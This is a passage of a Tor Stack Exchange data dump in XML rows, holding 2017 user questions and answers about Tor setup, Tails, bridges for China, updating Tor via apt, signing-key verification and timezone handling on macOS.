  <row Id="15468" PostTypeId="1" AcceptedAnswerId="15479" CreationDate="2017-08-11T08:58:17.897" Score="4" ViewCount="5727" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bMiZB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bMiZB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;I like to access dark web and i know it is not safe to access through windows. What is the recommended OS to access dark web other than windows. will it affect my anonymity if I use that OS through virtual machine in windows?&lt;/p&gt;&#xA;" OwnerUserId="18703" LastEditorUserId="18703" LastEditDate="2017-08-14T17:38:32.910" LastActivityDate="2022-02-24T15:06:55.583" Title="what is the recommended OS for accessing dark web through tor to maintain anonymity also using virtual machine?" Tags="|anonymity|virtual-machine|darknet|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15469" PostTypeId="1" CreationDate="2017-08-11T09:22:09.227" Score="1" ViewCount="96" Body="&lt;p&gt;Tails redirects some sites to Google, sites that work fine with Tor browser through Windows. Any ideas how to solve this? &lt;/p&gt;&#xA;" OwnerUserId="18704" LastActivityDate="2017-08-13T07:17:46.287" Title="Tor through Tails redirecting sites to Google" Tags="|tails|" AnswerCount="1" CommentCount="1" ClosedDate="2017-08-14T12:23:25.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="15471" PostTypeId="2" ParentId="1239" CreationDate="2017-08-11T14:35:44.423" Score="1" Body="&lt;p&gt;You can run but you can't hide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing your user agent won't make you fool websites into thinking that you're using another browser. You really shouldn't do that, &lt;strong&gt;it will only make you stand out.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't detect the Tor browser based solely on user agent. The &quot;official&quot; way to detect Tor is to check the user's IP address and see if it's a Tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of user agents that have connected to my server via a tor exit node. Note that some of them claim to be on iOS or Android: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0&#xA;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 YaBrowser/16.11.1.673 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0&#xA;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 YaBrowser/17.6.0.1633 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806 (Edition Yx)&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 YaBrowser/17.1.0.2034 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 YaBrowser/16.11.1.673 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94&#xA;Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 6.0; thl T9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 6.0.1; SM-G925I Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/56.0.2924.87 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 6.0.1; Redmi Note 3 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 5.1; Micromax Q334 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 5.0; PowerFive Build/LRX21M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.4; MFLogin3T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.4; MFLogin3T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.135 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.2; TZ707 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.2; 9005X Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.1.2; LG-E455 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.1.2; LG-E455 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 YaBrowser/16.10.2.1487.00 Mobile Safari/537.36&#xA;Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3&#xA;Mozilla/5.0 (Android 5.0; Mobile; rv:38.0) Gecko/20100101 Firefox/38.0&#xA;Mozilla/5.0 () AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18706" LastEditorUserId="18706" LastEditDate="2017-08-15T14:23:03.383" LastActivityDate="2017-08-15T14:23:03.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15473" PostTypeId="1" CreationDate="2017-08-11T20:24:45.500" Score="1" ViewCount="181" Body="&lt;p&gt;I was wondering if I can sign onto Firefox sync and/or X marks for bookmark sync between FF and Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed x marks on Tor but was wondering if it is right thing to do. So alternative would be to try and use Firefox sync&lt;/p&gt;&#xA;" OwnerUserId="18709" LastActivityDate="2018-12-05T20:01:40.380" Title="Firefox sync &amp; xmarks" Tags="|firefox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15478" PostTypeId="1" AcceptedAnswerId="15493" CreationDate="2017-08-12T09:13:05.473" Score="0" ViewCount="1696" Body="&lt;p&gt;Me - 9D60A484CFBDB5B890FB5B18941494734584BA17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently seen this in my &lt;code&gt;torrc&lt;/code&gt; log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Aug 09 16:04:20.000 [notice] Your Tor server's identity key fingerprint is 'Ybslik 9D60A484CFBDB5B890FB5B18941494734584BA17'&#xA;Aug 09 16:04:20.000 [notice] Bootstrapped 0%: Starting&#xA;Aug 09 16:04:20.000 [warn] Please upgrade! This version of Tor (0.2.9.10) is not recommended, according to the directory authorities. Recommended versions are: 0.2.5.14,0.2.8.14,0.2.9.11,0.3.0.9,0.3.0.10,0.3.1.5-alpha&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Being a complete newbie to all this , I searched the net for how to update Tor data.&#xA;I found a site that had the code input for use in the terminal. &#xA;(&lt;code&gt;apt-get upgrade&lt;/code&gt;)&#xA;So I tied this and after it downloaded stuff I ran &lt;code&gt;apt-get upgrade install&lt;/code&gt;.&#xA;once that had finished my computer rebooted and when I had restored the tor browser I went to Altlas where I saw that my Tor was still showing the outdated data, after 30 mins or so It showed that my system was now up to date No error messages.&#xA;It was then I went to check the log   &lt;code&gt;/var/log/tor&lt;/code&gt;, saw the files &lt;code&gt;Log&lt;/code&gt;, &lt;code&gt;Log.1&lt;/code&gt;, &lt;code&gt;log.2.gz&lt;/code&gt;, &lt;code&gt;log.3.gz&lt;/code&gt; through to &lt;code&gt;log.5.gz&lt;/code&gt;&#xA;I opened up the &lt;code&gt;Log&lt;/code&gt; file and it was blank, I went and opened up the &lt;code&gt;log.1&lt;/code&gt; file and it had the final throws of the Tor before it shut down.&#xA;I thought it may be a hiccup and I waited now for 2 days and still I have nothing in my log yet Atlas shows I have been up and running again for 2 days 15 hrs.&#xA;Can you help me get back my log files so I can monitor what tor is doing please.&#xA;As you my have deduced, I do not have the skills yet to use the terminal without detailed help.&#xA;Any help would be most welcome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" OwnerUserId="17225" LastEditorUserId="25353" LastEditDate="2019-10-08T23:45:23.027" LastActivityDate="2019-10-08T23:45:23.027" Title="No Tor log details" Tags="|configuration|log|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="15479" PostTypeId="2" ParentId="15468" CreationDate="2017-08-12T10:27:49.800" Score="1" Body="&lt;p&gt;my preference is FreeBSD, but if you have ARM SBC like Raspberry Pi - you can use Linux with a &lt;strong&gt;last&lt;/strong&gt; kernel compiled from source - &lt;strong&gt;NOT&lt;/strong&gt; a dpkg/rpm/apt/yum provided one! If you can tell me more about the hardware setup you're using - I can be more specific in recommendations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: As I see the hw specs - you will be perfectly fine with virtual machines! I do recommend &lt;a href=&quot;https://www.virtualbox.org/wiki/Downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualBox&lt;/a&gt; - grab it and the extension pack. You'll need 2 VMs, one for Tor, one for a &quot;browsing workstation&quot;. Tor one will be just fine on 1 CPU and 512Mb of ram, disk 4Gb will fit also, I do recommend Debian mini/netinstall - it is without graphics, and actually a bare OS - just what you need not to waste resources. Browsing VM can use 1 or 2 CPUs, 1Gb of ram - you can use the same iso but select the graphical desktop environment at the installation phase. The trick will be that desktop and the router will be in one virtual(&lt;strong&gt;not host-only!&lt;/strong&gt;) network, so no data leaks will be there. Router will have 2 interfaces - one for a bridge to your actual network card that gives you the connection, it will be just like the one more PC in your network and your router will serve it all by itself just fine. On a desktop VM use Tor's SOCKS port and DNS port - and &lt;strong&gt;don't forget to fix the DNS server IP&lt;/strong&gt; to your tor router VM. That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-08-14T18:43:34.913" LastActivityDate="2017-08-14T18:43:34.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15480" PostTypeId="2" ParentId="15473" CreationDate="2017-08-12T10:30:14.503" Score="1" Body="&lt;p&gt;Technically - yes, but - &lt;strong&gt;strictly speaking&lt;/strong&gt; of privacy matters - you should not do so. If you'd like to sync your bookmarks - better use import-to-file/export-from-file tools of your choice, the file must be on a physical medium, not any kind of &quot;online/cloud stuff&quot;. IMHO, just IMHO....&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-08-12T10:30:14.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15483" PostTypeId="1" AcceptedAnswerId="15488" CreationDate="2017-08-12T13:48:11.747" Score="4" ViewCount="9609" Body="&lt;p&gt;I am going to study in China and I want to know if TOR browser works in China and how can I configure it. (use gmail and google services)&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="18717" LastActivityDate="2019-12-25T10:34:55.667" Title="how can I use TOR in China" Tags="|help|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15486" PostTypeId="1" CreationDate="2017-08-12T23:52:58.750" Score="1" ViewCount="324" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iyyp6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iyyp6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; when I tried to close it I couldn't it looks like it froze or something, do I have to update my mac??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its not opening, I fixed my timezone (I use a mac OS X version 10.9)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/13/17, 2:36:57.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;8/13/17, 2:36:57.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;8/13/17, 2:38:16.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Operation timed out; TIMEOUT; count 10; recommendation warn; host 64E99CB34C595A02A3165484BD1215E7389322C6 at 195.154.122.54:443) &#xA;8/13/17, 2:38:16.600 [WARN] 9 connections have failed: &#xA;8/13/17, 2:38:16.600 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;8/13/17, 2:38:53.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/13/17, 2:38:53.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/13/17, 2:38:53.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/13/17, 2:38:53.600 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18720" LastEditorUserId="-1" LastEditDate="2017-08-14T12:23:04.433" LastActivityDate="2017-08-14T12:23:04.433" Title="my tor connection timed out?" Tags="|tor-browser-bundle|configuration|help|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15488" PostTypeId="2" ParentId="15483" CreationDate="2017-08-13T07:09:22.447" Score="3" Body="&lt;p&gt;If you installed tor browser :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click Tor button (a button nearby address bar with an onion icon)&lt;/li&gt;&#xA;&lt;li&gt;Select tor network settings&lt;/li&gt;&#xA;&lt;li&gt;when window opened check the &quot;My internet service provider blocks connections to tor network&quot; checkbox&lt;/li&gt;&#xA;&lt;li&gt;select transport type (for China use meek-azure or meek-amazon)&lt;/li&gt;&#xA;&lt;li&gt;List item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;click at ok and enjoy tor network&lt;/p&gt;&#xA;" OwnerUserId="18728" LastActivityDate="2017-08-13T07:09:22.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15489" PostTypeId="2" ParentId="15469" CreationDate="2017-08-13T07:17:46.287" Score="0" Body="&lt;p&gt;I don't use Tails OS but if it has any proxy settings edit them to expect *.google.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google can see your real ip but trust google&lt;/p&gt;&#xA;&#xA;&lt;p&gt;google always track ip addresses to avoid any attacks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry for my trashy grammer :D&lt;/p&gt;&#xA;" OwnerUserId="18728" LastActivityDate="2017-08-13T07:17:46.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15492" PostTypeId="1" CreationDate="2017-08-13T18:24:20.877" Score="1" ViewCount="1236" Body="&lt;p&gt;After installing osx 10.12.6 I keep getting &quot;Tor browser quit unexpectedly&quot; every time I try to open it. Does anyone know how to fix this? Thanks in advance :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi. I just noticed that the Tor data folder in library/application support is missing - even when I uninstal then re install Tor. Anyone know what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="18734" LastEditorUserId="18734" LastEditDate="2017-08-15T11:25:44.583" LastActivityDate="2022-04-10T01:03:00.270" Title="osx 10.12.6 &quot;Tor browser quit unexpectedly&quot;" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15493" PostTypeId="2" ParentId="15478" CreationDate="2017-08-13T19:04:18.547" Score="0" Body="&lt;h1&gt;Updating Tor&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to update Tor. I would recommend installing experimental versions. As for that do the following: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You need to add the following entry in /etc/apt/sources.list or a new&#xA;  file in /etc/apt/sources.list.d/:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://deb.torproject.org/torproject.org xenial main&#xA;deb-src http://deb.torproject.org/torproject.org xenial main&#xA;deb http://deb.torproject.org/torproject.org tor-experimental-0.3.1.x-xenial main&#xA;deb-src http://deb.torproject.org/torproject.org tor-experimental-0.3.1.x-xenial main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Then add the gpg key used to sign the packages by running the&#xA;  following commands at your command prompt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;You can install it with the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get install tor deb.torproject.org-keyring&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or, if you prefer installing stable versions, remove those lines from previous text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://deb.torproject.org/torproject.org tor-experimental-0.3.1.x-xenial main&#xA;deb-src http://deb.torproject.org/torproject.org tor-experimental-0.3.1.x-xenial main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Viewing log files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Those log files ending with &lt;code&gt;.gz&lt;/code&gt; are the gzip archives.&#xA;To see those, you need to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gzip -d ./*.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure that you are in the Tor directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you should be fine. If you still have questions, comment them!&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-08-13T19:04:18.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15494" PostTypeId="2" ParentId="15111" CreationDate="2017-08-13T22:26:21.523" Score="1" Body="&lt;p&gt;You can also get the &quot;No public key&quot; error if you have imported an old version of the Tails signing key.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg --check-sigs A490D0F4D311A4153E2BB7CADBB802B258ACD84F&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pub   4096R/58ACD84F 2015-01-18 [expired: 2017-01-11]&#xA;uid       [ expired] Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-01-18  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!         BE2CD9C1 2015-01-19  Tails developers (signing key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;uid       [ expired] Tails developers &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Tails signing key I imported last time expired on 2017-01-11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I downloaded the new signing key the result is different:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg --check-sigs A490D0F4D311A4153E2BB7CADBB802B258ACD84F&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pub   4096R/58ACD84F 2015-01-18 [expires: 2018-01-11]&#xA;uid       [ unknown] Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-01-18  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!         BE2CD9C1 2015-01-19  Tails developers (signing key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2016-08-30  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;uid       [ unknown] Tails developers &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2016-08-30  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sub   4096R/752A3DB6 2015-01-18 [expires: 2018-01-11]&#xA;sig!         58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!         58ACD84F 2016-08-30  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sub   4096R/2F699C56 2015-01-18 [expires: 2018-01-11]&#xA;sig!         58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!         58ACD84F 2016-08-30  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sub   4096R/A0EDAA41 2016-08-30 [expires: 2018-01-11]&#xA;sig!         58ACD84F 2016-08-30  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new key expires in 2018-01-11. Now when I verify the signature I see &quot;Good signature&quot;.&lt;/p&gt;&#xA;" OwnerUserId="18736" LastActivityDate="2017-08-13T22:26:21.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15495" PostTypeId="1" CreationDate="2017-08-13T23:10:38.757" Score="1" ViewCount="69" Body="&lt;p&gt;TOR not letting me download any attachments from email accounts. All I get are the filename of something and file size of 0 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried another email provider and still cannot download any attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems a snafu?&lt;/p&gt;&#xA;" OwnerUserId="18737" LastActivityDate="2017-08-13T23:10:38.757" Title="TOR not letting me download attachments" Tags="|error|" AnswerCount="0" CommentCount="1" ClosedDate="2017-08-14T14:49:09.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="15497" PostTypeId="2" ParentId="7319" CreationDate="2017-08-14T13:43:57.110" Score="1" Body="&lt;p&gt;Tor needs to know the system timezone in order to convert the system time (which on macOS, is in the UTC timezone) into the local timezone, when producing log messages. Even though Tor Browser doesn't show these messages to the user by default, Tor still generates them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shouldn't be a security problem because these log messages are not sent out on the network. Also Tor Button hides the &lt;a href=&quot;https://www.torproject.org/docs/torbutton/en/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;timezone from Javascript&lt;/a&gt; running in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless you can tell Tor that you are using the UTC timezone and so it won't need to look up your local timezone. You can do this by setting the TZ environment variable to UTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's starting Tor Browser normally from Terminal&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ open -a /Applications/TorBrowser.app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if we look at what files Tor opens (note that in Tor Browser, the Tor executable is called &lt;code&gt;tor.real&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo fs_usage -w tor.real | tee tor.fs_usage.noTZ&#xA;...&#xA;$ grep -i zone tor.fs_usage.noTZ&#xA;14:23:50.730491  access                       (R___)    /usr/share/zoneinfo/Europe/London&#xA;14:23:50.730518  open              F=4        (R_____)  /usr/share/zoneinfo/Europe/London&#xA;14:23:52.443077  open              F=23       (R_____)  /usr/share/zoneinfo/UTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's start Tor Browser with the timezone set to UTC&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ TZ=UTC open -a /Applications/TorBrowser.app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and we see that now the local timezone file is not requested. Of course as a consequence log messages from Tor will be in UTC rather than the local timezone, so may lead to confusion.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo fs_usage -w tor.real | tee tor.fs_usage.TZ&#xA;...&#xA;$ grep -i zone tor.fs_usage.TZ &#xA;14:28:57.774788  open              F=4        (R_____)  /usr/share/zoneinfo/UTC&#xA;14:28:59.442112  open              F=23       (R_____)  /usr/share/zoneinfo/UTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firefox itself also accesses the timezone information in a similar way, so setting the TZ environment variable to UTC also results in the firefox executable only looking up the UTC timezone file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting TZ=UTC shouldn't cause any problem for checking certificate expiry on macOS, since certificates store the start and end dates in the UTC timezone and so can be directly compared to the macOS (and Linux/*BSD) system clock. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows is more of a problem because it keeps the &lt;a href=&quot;http://www.cl.cam.ac.uk/~mgk25/mswish/ut-rtc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;system time on the local timezone&lt;/a&gt; so the timezone needs to be known in order to get the UTC time. I'm not sure what will happen here.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2017-08-14T13:43:57.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15498" PostTypeId="1" CreationDate="2017-08-14T13:47:59.200" Score="0" ViewCount="103" Body="&lt;p&gt;I am trying to understand the Tor anonymity process. I figure out that Onion routing is the concept which makes it more impressive. So if I am correct list of Onion routers(OR's) are loaded on client and payload is encrypted and encapsulated, layer by layer. So does that mean if we have 2 OR(OR 1 and OR2) then packet is like [[[[payload]OR2 to D]OR1 to OR2]S to OR1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right? Also, Is it technically correct statement that we have tunneled multiple times according to OR numbers. I mean is tunneling of packet is technically correct or only term encapsulation can be used?&lt;/p&gt;&#xA;" OwnerUserId="18744" LastEditorUserId="88" LastEditDate="2017-08-14T14:49:53.223" LastActivityDate="2017-08-15T12:04:47.393" Title="Tor onion routing process" Tags="|onion-routing|tunnel|" AnswerCount="1" CommentCount="0" 